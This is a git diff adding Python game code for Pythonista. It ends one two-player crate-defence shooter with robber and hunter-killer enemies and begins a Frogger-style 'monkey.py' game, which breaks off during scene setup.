+		self.pullcrate(dt) #Pull the crate if tethered.  NOTE: We could make a
+											 # exitpull state and not have to check if tethered in pullcrate().
+
+	def draw(self):
+		###Draw the robber if on.
+		if self.on:
+			mob.draw(self)
+			tgt = self.target
+			#If tethered then draw tether line.
+			if tgt and tgt.tethered is self:
+				stroke(1,1,1,.5)
+				stroke_weight(1)
+				tp = self.tetherpos()
+				line(tp.x, tp.y, tgt.pos.x, tgt.pos.y)
+
+			if debug: #If debug then draw the current waypoint.
+				v = Point(self.wpn.x * 16, self.wpn.y * 16)
+				v.x += self.wp.x
+				v.y += self.wp.y
+				stroke(1,0,0,1)
+				stroke_weight(2)
+				line(self.wp.x, self.wp.y, v.x, v.y)
+				stroke(1,1,1,1)
+				stroke_weight(1)
+				line(self.wp.x, self.wp.y, self.wp.x + 1, self.wp.y + 1)
+				tint(1,1,0,1)
+
+class killer(aimachine):
+	###Hunter Killer AI machine.
+	def __init__(self, scn):
+		aimachine.__init__(self, scn, killermesh, 2)
+		self.color = Color(1.00, 0.00, 1.00)
+		self.shoot = sounds[2]
+		self.downtime = killerdowntime
+		self.state = self.down
+
+	def reset(self, pos, angle):
+		aimachine.reset(self, pos, angle)
+		v = killervel * self.basevel()
+		self.minvel = v
+		self.maxvel = v
+		self.firedelay = 0 #Reset the fire delay timer.
+		self.state = self.hunt #Start hunding.
+		#Set bullet speed and lifespan again just in case they have changed.
+		for b in self.bullets:
+			b.speed = aibulletspeed
+			b.lifespan = aibulletlife
+
+	def nextwaypoint(self):
+		###Randomly create a new waypoint on screen.
+		self.wp = Point(randint(0, self.scene.size.w), randint(0, self.scene.size.h))
+		self.wpn = Point(self.pos.x - self.wp.x, self.pos.y - self.wp.y)
+		normalize(self.wpn)
+
+	def kill(self):
+		self.downtime = killerdowntime #Reset the down time countdown timer.
+		aimachine.kill(self)
+		self.state = self.down
+
+	def down(self, dt):
+		###Down state, remain so until downtime is up.
+		self.downtime -= dt
+		if self.downtime <= 0:
+			p, a = self.scene.startpos()
+			self.reset(p, a)
+
+	def checkfire(self, dt):
+		#Check to see if we should fire.
+		if self.firedelay > 0: #Wait until delay timer is up.
+			self.firedelay = max(0, self.firedelay - dt)
+			return
+
+		for p in self.scene.pl: #Check each player to see if in front of killer.
+			v = Point(p.pos.x - self.pos.x, p.pos.y - self.pos.y)
+			a1, _ = anglefromvector(v)
+			da = deltaangle(self.angle, a1)
+			if abs(da) < 0.07: #If delta angle is within range shoot.
+				self.firedelay = firedelay
+				self.fire()
+
+	def hunt(self, dt):
+		###State to keep going to random waypoints and checking for fire opportunities.
+		if self.checkdest():
+			self.nextwaypoint()
+		self.updatevels(dt)
+		self.checkfire(dt)
+		machine.update(self, dt)
+
+	def update(self, dt): self.state(dt)
+
+###Machine to represent a player.
+class player(machine):
+
+	def __init__(self, pos, scn, dir):
+		machine.__init__(self, pos, playerfilter, scn, playermesh, numbullets)
+		self.dir = dir #+ or - 1.
+		self.startpos = Point(*pos)
+		self.control = 0
+		self.unstable = False
+		self.reset()
+
+	###Reset the player to original position.
+	def reset(self):
+		machine.reset(self)
+		self.dead = 0
+		self.pos.x = self.startpos.x
+		self.pos.y = self.startpos.y
+		self.vel.y = self.scale * 8 #Start out with a velocity to move onto screen.
+		self.angle = -hpi * self.dir
+		self.destangle = self.angle
+
+	###Kill the player.
+	def kill(self):
+		mob.kill(self)
+		self.dead = deadtime #Start dead timer.
+
+	###Move the player.
+	def move(self, dt):
+		if self.control:
+			da = deltaangle(self.angle, self.destangle)
+			if da: #If delta angle adjust angular velocity.
+				av = self.avel + da
+				s = sgn(av)
+				self.avel = min(pi, abs(av)) * s
+
+	def update(self, dt):
+		if self.on: #If on then update.
+			self.move(dt)
+			self.unstable = False
+			b = Vector3(self.pos.x, self.pos.y, self.scale * .75)
+			#Check if colliding with crate, if so add instability to turning.
+			for m in self.scene.crates:
+				if m.boundcheck(b):
+					self.unstable = True
+					break
+			#Dampen angular velocity.
+			self.avel = dampen(self.avel, self.brka * dt)
+			#If not controlling linear velocity dampen that as well.
+			if not self.control:
+				self.slowdown(dt)
+
+			machine.update(self, dt)
+		else: #Death of player is different from killer which uses state functions
+					# simply to show another way of doing it.  I prefer states.
+			self.dead -= dt
+			if self.dead <= 0: #As soon as dead time up reset.
+				self.reset()
+
+	###Calculate direction/velocity from movement button touch.
+	def movetouch(self, touch):
+		deltax = (touch.location.x - self.movepos.x)
+		deltay = (touch.location.y - self.movepos.y)
+		a, l = anglefromvector(Point(deltax, deltay))
+		self.destangle = a
+		if l > movesense:
+			self.vel.y = l * movescale
+
+	###Check left/right button pressed, return true if handled.
+	def touch_began(self, touch):
+		if self.on:
+			tl = touch.location
+			if tl in self.moverect: #If movement rectangle touched.
+				self.movetouch(touch)
+				self.control += 1
+				return True
+			if tl in self.shootrect: #If fire rectangle touched.
+				self.fire()
+				return True
+		return False
+
+	def touch_moved(self, touch):
+		if self.on:
+			tl = touch.location
+			if tl in self.moverect: #If movement rectangle touched.
+				self.movetouch(touch)
+				return True
+
+			tpl = touch.prev_location
+			if tpl in self.moverect: #If previous location was in movement rectangle then stop movement.
+				self.control = max(0, self.control - 1)
+				return True
+
+			if tl in self.shootrect: #If fire rectangle touched calculate anguler velocity.
+			#NOTE: We don't check if previous location was in button, we just assume so.
+				delta = touch.location.y - touch.prev_location.y
+				av = delta * turnscale * self.dir
+				if self.unstable and av: #If unstable (on crate) add random angular velocity.
+					r = uniform(-uadj, uadj)
+					self.angle = addangle(self.angle, r)
+				self.avel += av
+				return True
+		return False
+
+	###Touch ends.
+	def touch_ended(self, touch):
+		if self.on:
+			tl = touch.location
+			if tl in self.moverect: #If no longer touching movement button decrement control count.
+				self.control = max(0, self.control - 1)
+				return True
+			return tl in self.shootrect #Return handled if intersects fire rectangle.
+		return False
+
+class MyScene(Scene):
+	###Main scene.
+	def setup(self):
+		global screenrad
+		# This will be called before the first frame is drawn.
+		pos = self.bounds.center()
+		cp = Point(*pos)
+		pos.x = 0
+		w = self.size.w
+		h = self.size.h
+		w3 = w / 5 #1/5th Screen width.
+		w6 = w3 / 2 #1/10th Screen width.
+		screenrad = hypot(w, h) * .5 #Set screen radius.
+		self.pl = []
+		plr = player(pos, self, 1.0) #Create player 1.
+		self.pl.append(plr)
+		plr.color = Color(1.00, 0.50, 0.00)
+		plr.moverect = Rect(w - w3, 0, w3, w3) #Set movement button rectangle.
+		plr.movepos = plr.moverect.center()
+		plr.shootrect = Rect(w - w6, w3 * 2.25, w6, w3) #Set fire button rectangle.
+		pos.x = w
+		plr = player(pos, self, -1.0) #Create player 2.
+		self.pl.append(plr)
+		plr.color = Color(0.40, 1.00, 0.40)
+		plr.shoot = sounds[1] #Change fire sound for player 2.
+		plr.shootv = 0.3 #Set lower volume.
+		plr.moverect = Rect(0, h - w3, w3, w3) #Set movement button rectangle.
+		plr.movepos = plr.moverect.center()
+		plr.shootrect = Rect(0, h - w3 * 2.25 - w3, w6, w3) #Set fire button rectangle.
+		self.activebullets = [] #Array of active bullets.
+		self.explosions = [] #Array of active explosions.
+		self.controlalpha = 0.45 #Control rectangle alpha.
+		self.wave = 0 #Wave counter.
+		self.wpskipchance = wpskipchance
+		self.killerinterval = killerinterval
+		self.state = self.run
+		self.gameovertxt = render_text('You\'ve been Ripped Off!', 'Copperplate', 32)
+		self.pausetxt = render_text('Pause', 'Copperplate', 28)
+		c = self.bounds.center()
+		hh = self.pausetxt[1].w / 2
+		self.pauserect = Rect(c.x - hh, 0, hh * 2, self.pausetxt[1].h)
+		if mt:
+			self.udstart = Event()
+			self.uddone = Event()
+			self.udthread = Thread(target=self.udthread)
+			self.udthread.start()
+
+		for s in sounds: load_effect(s) #pre-load sound effects.
+
+		def makecrate(i):
+		###Local function to create a crate mob.
+			x = (int(i / 3) - 1) * cratespacing
+			y = ((i % 3) - 1) * cratespacing
+			cr = crate(Point(cp.x + x, cp.y + y), self)
+			return cr
+
+		self.crates = [makecrate(i) for i in xrange(numcrates)]
+		self.robbers = [robber(self) for i in xrange(robbercount)]
+		self.killers = [] #Start with 0 killers.
+		self.numrobbers = 0
+
+	###Remove crate from the crates array.
+	def killcrate(self, cr): self.crates.remove(cr)
+
+	def adjustdifficulty(self):
+		###Adjust difficulty level based on # of waves.
+		self.wpskipchance = wpskipchance + (self.wave * wpskipfactor)
+		nk = min(self.wave / self.killerinterval, maxkillers)
+		nk -= len(self.killers)
+		while nk > 0: #Add killers.
+			self.killerinterval += 2 #Adjust wave interval for next killer.
+			nk -= 1
+			k = killer(self)
+			self.killers.append(k)
+
+	def checkwave(self, dt):
+		###Check to see if wave is complete.
+		if not self.numrobbers: #If no more live robbers.
+			if len(self.crates): #If still some live crates.
+				self.wave += 1 #New wave.
+				self.scoretxt = render_text('wave: ' + str(self.wave), 'Copperplate', 28)
+				self.adjustdifficulty()
+				self.startrobbers() #Restart all of the robbers.
+			else:
+				self.state = self.gameover
+
+	def checkbullet(self, p1, p2, owner):
+		###Check bullet collision, return true if hit something.
+		hit = False
+		def checkcol(amob):
+			###Local function to
+			if amob.on:
+				circle = Vector3(amob.pos.x, amob.pos.y, amob.scale)
+				if segvcircle(p1, p2, circle): #If circle hit then create an explosion.
+					self.explosions.append(explosion(amob))
+					amob.kill() #Kill the hit object.
+					return True
+			return False
+
+		#If not a player ID then check player collisions.
+		if owner.filter != playerfilter:
+			for p in self.pl:
+				hit |= checkcol(p)
+		elif owner.filter != aifilter: #If not AI ID.
+			for k in self.killers: #Check killers 1st.
+				if checkcol(k):
+					return True #If killer took hit exit.
+			for r in self.robbers: #Check robbers, 1 bullet can hit many.
+				hit |= checkcol(r)
+
+		return hit
+
+	def startpos(self):
+		###Get a random start position just off screen.
+		a = uniform(0, pi2) #Get angle from 0 to 2pi.
+		p = Point(0, screenrad)
+		rotpoint(a, p)
+		c = self.bounds.center()
+		p.x += c.x
+		p.y += c.y
+		return p, a
+
+	def startrobbers(self):
+		###Start all robbers.
+		for r in self.robbers:
+			if not r.on:
+				c = choice(self.crates) #pick a target.
+				p, a = self.startpos()
+				r.reset(p, a, c)
+
+	def udrobbers(self):
+		###Update robbers and set # of live robbers.
+		self.numrobbers = 0
+		for r in self.robbers:
+			self.numrobbers += r.update(self.dt)
+
+	def udthread(self):
+		###Mutli-threaded update.
+		while True:
+			self.udstart.wait() #Wait for main thread to signal update.
+			self.udstart.clear() #Clear signal.
+			self.udrobbers() #Update robbers.
+			self.uddone.set() #Signal update done.
+
+	def update(self, dt):
+		###Update the scene.
+		if debug:
+			self.t0 = clock()
+		if mt: self.udstart.set() #If multi-threaded signal update start.
+		#if no screen touches reset control counters for safety (they can get out of sync).
+		if len(self.touches) == 0:
+			for p in self.pl:
+				p.control = 0
+		for p in self.pl: #Update players.
+			p.update(dt)
+		for k in self.killers: #Update killers.
+			k.update(dt)
+		#If not multi-threaded update robbers here.
+		if not mt: self.udrobbers()
+		#Update active bullets.
+		for b in self.activebullets:
+			if b.update(self, self.dt):
+				self.activebullets.remove(b)
+		#Update active explosions.
+		for e in self.explosions:
+			if e.update(dt):
+				self.explosions.remove(e)
+		if debug:
+			self.t1 = clock()
+
+	###Pause state does nothing.
+	def paused(self): pass
+
+	def gameover(self):
+		###Game over state.
+		tint(0.00, 1.00, 0.00)
+		c = self.bounds.center()
+		s = self.gameovertxt[1]
+		image(self.gameovertxt[0], c.x - (s.w / 2), c.y, *s)
+		self.update(self.dt / 4)
+
+	def run(self):
+		###Main state.
+		dt = min(0.1, self.dt)
+		self.checkwave(dt)
+		self.update(dt)
+
+	def drawcontrols(self):
+		###Draw control boxes.
+		if self.controlalpha:
+			fill(0,0,0,0)
+			stroke(0, 0, .5, self.controlalpha)
+			stroke_weight(2)
+			for p in self.pl:
+				rect(*p.moverect)
+			stroke(.5, 0, .5, self.controlalpha)
+			for p in self.pl:
+				rect(*p.shootrect)
+
+	def drawscore(self):
+		###Draw the score and pause text.
+		tint(1,0,0)
+		c = self.bounds.center()
+		s = self.scoretxt[1]
+		image(self.scoretxt[0], c.x - (s.w / 2), self.size.h - s.h, *s)
+		clr = Color(1,1,0) if self.state == self.paused else Color(0.80, 0.40, 1)
+		if debug: #In debug draw timing text.
+			tmg = int((self.t1 - self.t0) * 1000.0)
+			text(str(tmg), x=20, y=20, alignment=9)
+		tint(*clr)
+		s = self.pausetxt[1]
+		image(self.pausetxt[0], c.x - (s.w / 2), 0, *s)
+
+	def draw(self):
+		###Draw all objects in the scene.
+		background(0, 0, 0)
+		self.state() #Update state.
+		self.drawscore()
+		self.drawcontrols()
+		
+		if mt and self.state == self.run: #Wait for other thread to finish.
+			self.uddone.wait()
+			self.uddone.clear()
+
+		for cr in self.crates: cr.draw()
+		for p in self.pl: p.draw()
+
+		for k in self.killers: k.draw()
+		for b in self.activebullets: b.draw()
+
+		for r in self.robbers: r.draw()
+		for e in self.explosions: e.draw()
+
+	def checkpause(self, loc):
+		###Check to see if pause button pressed.
+		if loc in self.pauserect:
+			play_effect(sounds[5])
+			if self.state == self.paused:
+				self.state = self.prevstate
+			else:
+				self.prevstate = self.state
+				self.state = self.paused
+
+	def touch_began(self, touch):
+		###Handle touch events.
+		for p in self.pl:
+			if p.touch_began(touch):
+				return
+
+	def touch_moved(self, touch):
+		###Handle touch move events.
+		for p in self.pl:
+			if p.touch_moved(touch):
+				return
+
+	def touch_ended(self, touch):
+		###Handle touch end events.
+		for p in self.pl:
+			if p.touch_ended(touch):
+				return
+		self.checkpause(touch.location) #Check for pause button press.
+
+run(MyScene(), LANDSCAPE)
diff --git a/hard-gists/4116156/._snippet.py b/hard-gists/4116156/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4116156/._snippet.py differ
diff --git a/hard-gists/4116156/snippet.py b/hard-gists/4116156/snippet.py
new file mode 100644
index 00000000..6fcd98fa
--- /dev/null
+++ b/hard-gists/4116156/snippet.py
@@ -0,0 +1,728 @@
+#----------------------------------------------------------------------
+# Copyright (c) 2012, Guy Carver
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without modification,
+# are permitted provided that the following conditions are met:
+#
+#     * Redistributions of source code must retain the above copyright notice,
+#       this list of conditions and the following disclaimer.
+#
+#     * Redistributions in binary form must reproduce the above copyright notice,
+#       this list of conditions and the following disclaimer in the documentation
+#       and/or other materials provided with the distribution.
+#
+#     * The name of Guy Carver may not be used to endorse or promote products # derived#
+#       from # this software without specific prior written permission.#
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+# FILE    monkey.py
+# BY      Guy Carver
+# DATE    11/19/2012 10:48 PM
+#----------------------------------------------------------------------
+
+from scene import *
+from random import *
+from sound import *
+from math import sin
+
+IPad = True
+streeth = 44
+divw = 32
+sidewalkw = 64
+sidewalkh = 44
+numcars = 8
+numfloaters = 10
+offset = Point(0, 50)
+waterspeed = Point(80, 25)
+streetspeed = Point(100, 50)
+badguyspeed = Point(2, 1)
+cardelay = (0.25, 0.75, 0.025)
+floatdelay = (1.0, 2.0, 0.025)
+fontsize = 20 #Size of the font for display of score and tries..
+
+models = [('Ambulance', 50), ('Bus', 64),('Car_1', 48), ('Car_2', 48),('Delivery_Truck', 64),
+          ('Fire_Engine', 64), ('Police_Car', 50), ('Taxi', 50), ('Bus', 80), ('Railway_Car', 80)]
+
+rivermodels = [('Sailboat', 64), ('Sailboat', 96), ('Sailboat', 160),
+               ('Speedboat', 192), ('Speedboat', 96), ('Speedboat', 128),
+               ('Whale', 64), ('Whale', 96), ('Whale', 192)]
+
+def getrect(pos):
+	###return a rect at given cell location with size of cell.
+	return Rect(pos.x * divw + offset.x,
+			 				pos.y * streeth + offset.y,
+			 				divw, streeth)
+
+	###-1 if < 0 otherwise 1
+def sgn(val): return 1 if val >= 0 else -1
+
+class badguy(object):
+	###Object to represent the badguy running at the top of the screen.
+	def __init__(self, y, scn):
+		self.scene = scn
+		w = divw
+		self.right = scn.size.w - w
+		x = uniform(w, self.right) #Pick random start position.
+		self.dir = uniform(-w, w) #Pick random direction and speed.
+		self.pos = Point(x, y)
+		self.turntime = 3 #Time interval in seconds between decisions to turn around.
+		self.timer = self.turntime
+		self.setspeed()
+
+	def setspeed(self): self.speed = uniform(1, 3)
+	def changedir(self): self.dir = -self.dir
+
+	def update(self, dt):
+		###Update.
+		self.pos.x -= self.dir * dt * self.speed
+		if self.pos.x < 0:
+			self.pos.x = 0
+			self.changedir()
+		elif self.pos.x > self.right:
+			self.pos.x = self.right
+			self.changedir()
+		self.timer -= dt
+		if self.timer <= 0: #If decision timer is up then randomly check to turn around.
+			self.timer = self.turntime
+			if random() < 0.2: #20% chance of turning around.
+				self.changedir()
+
+	def draw(self):
+		###Draw the badguy.
+		tint(1,1,1)
+		x = self.pos.x
+		if self.dir < 0:
+			x -= self.dir
+		r = Rect(x, self.pos.y, self.dir, streeth)
+		image('Runner', *r)
+
+	def collide(self, rect):
+		###Check collision of runner with given rectangle.
+		r = Rect(self.pos.x, self.pos.y, divw, streeth)
+		return r.intersects(rect)
+
+class target(object):
+	###Object representing the target (family) at the top of the screen.
+
+	###Set the position.
+	def setpos(self, pos): self.frame = Rect(pos.x, pos.y, divw, streeth)
+
+	def draw(self):
+		###Draw the target.
+		tint(1,1,1)
+		image('Man_And_Woman', *self.frame)
+
+	###Check collision with given rect.
+	def collide(self, rct): return self.frame.intersects(rct)
+
+class splash(object):
+	###Water splash consists of a blue ripple and white splash.
+	def __init__(self): self.on = False
+
+	def set(self, pos):
+		###Set the splash at the given position.
+		d = divw / 2
+		self.frame = Rect(pos.x + d, pos.y + d, 1, 1)
+		self.on = True
+		self.alpha = 0.8 #Ripple alpha.
+		self.alpha2 = 1.0 #Splash alpha.
+		set_volume(0.3)
+		play_effect('Shot')
+
+	def update(self, dt):
+		###Update the splash.
+		if self.on:
+			d = divw * dt #Expand by divw/second.
+			#Keep the center of the expanding splash at the same point.
+			w = self.frame.w + d * 2 #Adjust the width by 2xd
+			self.frame.x -= d #Subtrace d from x,y
+			self.frame.y -= d
+			self.frame.w = w #Set width/height to w.
+			self.frame.h = w
+			self.alpha = max(0.0, self.alpha - 1.5 * dt) #Adjust ripple alpha.
+			self.alpha2 = max(0.0, self.alpha2 - 3 * dt) #Adjust splash alpha.
+			self.on = self.alpha > 0 #Turn off when ripple alpha is 0.
+
+	def draw(self):
+		if self.on:
+			a = min(1.0, self.alpha)
+			tint(0,0,1,a)
+			image('Red_Ring', *self.frame) #Draw blue ripple.
+			tint(0.5,1,1,self.alpha2)
+			image('Snowflake', *self.frame) #Draw white splash.
+
+class splat(object):
+	###Blood splat from getting run over.
+	def __init__(self): self.on = False
+
+	def set(self, pos):
+		###Set the position of the splat.
+		w = 24 if IPad else 12
+		self.frame = Rect(pos.x, pos.y, w, w)
+		self.on = True
+		self.alpha = 2.0 #Alpha > 1 to keep it visible longer.
+		set_volume(1)
+		play_effect('Footstep' if randint(0, 1) else 'Jump')
+
+	def update(self, dt):
+		###Update splat.
+		if self.on:
+			self.alpha = max(0.0, self.alpha - 0.5 * dt) #Reduce alpha by .5/second.
+			self.on = self.alpha > 0 #Turn off when alpha is 0.
+
+	def draw(self):
+		###If on draw the splat.
+		if self.on:
+			a = min(1.0, self.alpha) #Keep alpha between 0 and 1.
+			tint(1,0,0, a) #Tint it red.
+			image('Cloud', *self.frame)
+
+class sidewalk(object):
+	###Sidewalk object.
+	def __init__(self, y, scn):
+		x = scn.bounds.x
+		w = scn.bounds.w
+		self.frame = Rect(x, y, w, streeth)
+		self.framesegment = Rect(x, y, sidewalkw, sidewalkh)
+		self.count = int(w /sidewalkw) #Tile image for width of screen.
+		self.image = 'PC_Ramp_South'
+
+	###Set the image to draw on the sidewalk.
+	def setimage(self, img): self.image = img
+
+	###Update does nothing.
+	def update(self, dt): pass
+
+	def draw(self):
+		###Draw the sidewalk.
+		tint(1,1,1,1)
+		p = Rect(*self.framesegment)
+		p.y -= 24 if IPad else 12
+		p.h += 50 if IPad else 25
+		for i in range(self.count): #Loop for # of tiles.
+			image(self.image, *p)
+			p.x += sidewalkw #Adjust x to next tile position.
+
+class car(object):
+	###Object representing a car on the road.
+	def __init__(self, pos, scn, left):
+		self.start = 0 if left else scn.size.w #Start on left or right of screen.
+		self.otherside = scn.size.w - self.start #Set destination to other side.
+		self.scale_x = 1 if left else -1
+		x = self.start + pos.x * self.scale_x
+		self.frame = Rect(x, pos.y, 0, streeth)
+		self.on = random() < 0.35 #Randomly turn the car on.
+		self.setmodel()
+		pos.x += abs(self.frame.w) * 2 * self.scale_x #Adjust position by 2 x width of our frame so next car isn't on top of us.
+		self.prevx = x #Set previous x (in case we can ride the car).
+
+	###Set vehicle speed in the direction indicated by scale_x.
+	def setspeed(self, speed): self.vel = speed * self.scale_x
+
+	def setmodel(self):
+		###Randomly pick the model and set the frame size.
+		div = -1 if IPad else -.5 #Negative because we go opposite direction of image.
+		m = models[randint(0, len(models)-1)]
+		self.image = m[0]
+		self.frame.w = (m[1] * div) * self.scale_x
+		self.end = self.otherside - self.frame.w
+
+	###Check collision.
+	def collide(self, rct): return self.on and self.frame.intersects(rct)
+
+	def startpos(self):
+		###Reset the start position.
+		self.frame.x = self.start
+		self.prevx = self.start
+
+	def reset(self):
+		###Reset the vehicle and turn on.
+		self.setmodel()
+		self.startpos()
+		self.on = True
+
+	def isfree(self):
+		###Return true if the car is fully on screen indicating the
+		### lane is free for another car to start.
+		d = (self.frame.x + self.frame.w)
+		if self.start: #if start is not 0 (left side) negate the point.
+			d = -d
+		return (self.start + d) > 0
+
+	###Return the distance from last position to current position.
+	### Used to move the player if "riding the vehicle".
+	def deltax(self): return self.frame.x - self.prevx
+
+	def update(self, dt):
+		###Update the vehicle.
+		if self.on:
+			x = self.frame.x
+			self.prevx = x
+			x += self.vel * dt #Adjust x by velocity.
+			self.frame.x = x
+			#Set off if off end of screen.
+			self.on = (x > self.end) if self.end < 0 else (x < self.end)
+
+	def draw(self):
+		###Draw the vehicle.
+		if self.on:
+			tint(1, 1, 1)
+			image(self.image, *self.frame)
+
+class floater(car):
+	###Extend car to represent a vehicle on the water.
+
+	def setmodel(self):
+		###Set the model.
+		div = -1 if IPad else -.5 #Negative because images are backwards.
+		i = randint(0, len(rivermodels)-1)
+		m = rivermodels[i]
+		self.image = m[0]
+		self.frame.w = m[1] * div * self.scale_x
+		self.end = self.otherside - self.frame.w
+		self.sink = i > 5 #If index > 5 then it's a sinking vehicle.
+		if self.sink: #Pick random sinking phase.
+			self.phase = random() * (self.otherside - self.start)
+
+	###Return true if submerged. -2 <= sine <= 0 and submerged if < -1.9
+	def submerged(self): return self.sink and self.sine < -1.9
+
+	def update(self, dt):
+		###Update the vehicle.
+		car.update(self, dt)
+		if self.sink: #If sinkable then adjust the sine wave.
+			self.sine = sin((self.frame.x + self.phase) * 0.01) - 1.0
+
+	def draw(self):
+		###Draw the vehicle.
+		if self.on:
+			if self.sink: #If sinkable then adjust y by sine wabe.
+				r = Rect(*self.frame)
+				r.y += (r.h * 0.5) * self.sine #Since sine is -2 - 0 we divide h by 2.
+				tint(1, 1, 1)
+				image(self.image, *r)
+			else:
+				car.draw(self)
+
+class player(Layer):
+	###Player.
+	def __init__(self, pos, scn) :
+		Layer.__init__(self)
+		self.image = 'Monkey'
+		self.background = Color(0,0,0,0)
+		self.tint = Color(1,1,1,1)
+		self.setframe(pos)
+		self.start = pos
+		self.rotation = 0
+		self.score = 0
+		self.tries = 1
+		self.scene = scn
+		scn.add_layer(self)
+
+	#Return a new Point object representing the position.
+	def getpos(self): return Point(self.frame.x, self.frame.y)
+
+	def setframe(self, pos) :
+		###set position rect.
+		self.frame = Rect(pos.x, pos.y, divw, divw)
+		self.moving = False
+		self.supported = None
+
+	def sink(self):
+		###The vehicle we were riding sank.
+		self.scene.splash.set(self.getpos())
+		self.tries += 1
+		self.reset()
+
+	def hit(self):
+		###We were run over.
+		self.tries += 1
+		self.reset()
+
+	def finished(self):
+		###We reached the target.
+		self.score += 1
+		set_volume(0.4)
+		play_effect('Pulley')
+		self.reset()
+
+	def reset(self):
+		###Put back at the beginning.
+		self.setframe(self.start)
+		self.remove_all_animations()
+
+	###Set movement done.
+	def movedone(self): self.moving = False
+
+	def update(self, dt):
+		###Update the player.
+		Layer.update(self, dt)
+		###If supported by a vehicle.
+		if self.supported:
+			if self.supported.submerged(): #If the vehicle is submerged.
+				self.sink()
+			else:
+				d = self.supported.deltax() #Get amound to move to say on supporting vehicle.
+				self.frame.x += d
+				#Keep on screen.
+				self.frame.x = max(self.scene.bounds.left(), min(self.scene.bounds.right() - self.frame.w + 1, self.frame.x))
+
+	def moveit(self, dir) :
+		###if not moving then start movement anims in the given direction.
+		if not self.moving :
+			torect = Rect(*self.frame)
+			torect.x += dir.x * divw
+			torect.x = min(max(self.scene.min.x, torect.x), self.scene.max.x - divw)
+			torect.y += dir.y * streeth
+			torect.y = min(max(self.scene.min.y, torect.y), self.scene.max.y - streeth)
+			self.moving = True
+			set_volume(0.4)
+			play_effect('Jump_5')
+			crv = curve_ease_back_out #if dir.y else curve_linear
+			#Animate frame and call movedone when finished.
+			self.animate('frame', torect, 0.5, curve=crv, completion = self.movedone)
+
+class stream(sidewalk):
+	###Extend sidewalk object to represent a river stream.
+	def __init__(self, y, scn, left):
+		sidewalk.__init__(self, y, scn)
+		pos = Point(scn.bounds.x, y)
+		#Create the floaters.
+		self.floaters = [floater(pos, scn, left) for i in xrange(numfloaters)]
+		self.setspeed()
+		self.lastfloater = None
+
+	def setspeed(self):
+		###Set random speed of the stream.
+		self.speed = random() * waterspeed.x + waterspeed.y
+		for f in self.floaters: #Adjust speed of floaters in this stream.
+			f.setspeed(self.speed)
+
+	def collide(self, rct):
+		###Check collision on this stream and return stream, floater of collision.
+		s = self.frame.intersects(rct)
+		if s: #If colliding with the stream check the floaters.
+			for f in self.floaters:
+				if f.collide(rct):
+					return (s, f) #Return stream, floater.
+		return (s, None)
+
+	def startfloater(self):
+		###Start a floater.
+		if self.lastfloater: #Make sure last floater is free 1st.
+			if not self.lastfloater.isfree():
+				return False
+
+		for f in self.floaters:
+			if not f.on: #Find a floater that is off.
+				f.reset() #Start floater.
+				self.lastfloater = f
+				break
+		return True
+
+	def update(self, dt):
+		###Update floaters in the stream.
+		for f in self.floaters:
+			f.update(dt)
+
+	def draw(self):
+		###Draw sidewalk and it's floaters.
+		sidewalk.draw(self)
+		for f in self.floaters:
+			f.draw()
+
+class street(object):
+	###Object to represent a lane on the street.
+	def __init__(self, y, scn, left):
+		x = scn.bounds.x
+		w = scn.bounds.w
+		self.left = left
+		self.lastcar = None
+		self.frame = Rect(x, y, w, streeth)
+		self.divider = Rect(x, self.frame.top() - 2, w, 2)
+		if left:
+			self.count = int(w / divw)
+			self.divider.w = divw - 4 #Leave 4 pixels between tiles to make dash.
+		else:
+			self.count = 1 #Solid line.
+		pos = Point(x, y)
+		#Add cars, pos will be adjusted by the car constructor.
+		self.cars = [car(pos, scn, left) for i in xrange(numcars)]
+		self.setspeed()
+
+	def setspeed(self):
+		###Set speed to random range and adjust lane speed.
+		self.speed = random() * streetspeed.x + streetspeed.y
+		for c in self.cars:
+			c.setspeed(self.speed)
+
+	def collide(self, rct):
+		###Check collision of lane and cars in lane.  Return true if collide.
+		if self.frame.intersects(rct):
+			for c in self.cars:
+				if c.collide(rct):
+					return True
+		return False
+
+	def startcar(self):
+		###Start a car.
+		if self.lastcar:
+			if not self.lastcar.isfree(): #Wait til last car is on screen.
+				return False
+		#Find a free car and start it.
+		for c in self.cars:
+			if not c.on:
+				c.reset()
+				self.lastcar = c
+				break
+		return True
+
+	def update(self, dt):
+		###Update cars in lane.
+		for c in self.cars:
+			c.update(dt)
+
+	def draw(self):
+		###Draw lane.
+		fill(0.40, 0.40, 0.40)
+		rect(*self.frame)
+		fill(1.00, 1.00, 0.00)
+		p = Rect(*self.divider)
+		for i in xrange(self.count):
+			rect(*p)
+			p.x += divw
+
+	def drawcars(self):
+		###Draw cars in lane.
+		for c in self.cars:
+			c.draw()
+
+class MyScene(Scene):
+	###Scene.
+	def setup(self):
+		# This will be called before the first frame is drawn.
+		global IPad
+		global streeth
+		global divw
+		global sidewalkw
+		global sidewalkh
+		global offset
+		IPad = self.size.w > 700
+		if not IPad: #On IPhone all of these values are half.
+			streetspeed.x /= 2
+			streetspeed.y /= 2
+			waterspeed.x /= 2
+			waterspeed.y /= 2
+			badguyspeed.x /= 2
+			badguyspeed.y /= 2
+			streeth /= 2
+			divw /= 2
+			sidewalkw /= 2
+			sidewalkh /= 2
+			offset.y /= 2
+		self.root_layer = Layer(self.bounds)
+		self.org = Rect(self.bounds.x + 8, self.bounds.y + 8, self.bounds.w - 16, self.bounds.h - 16)
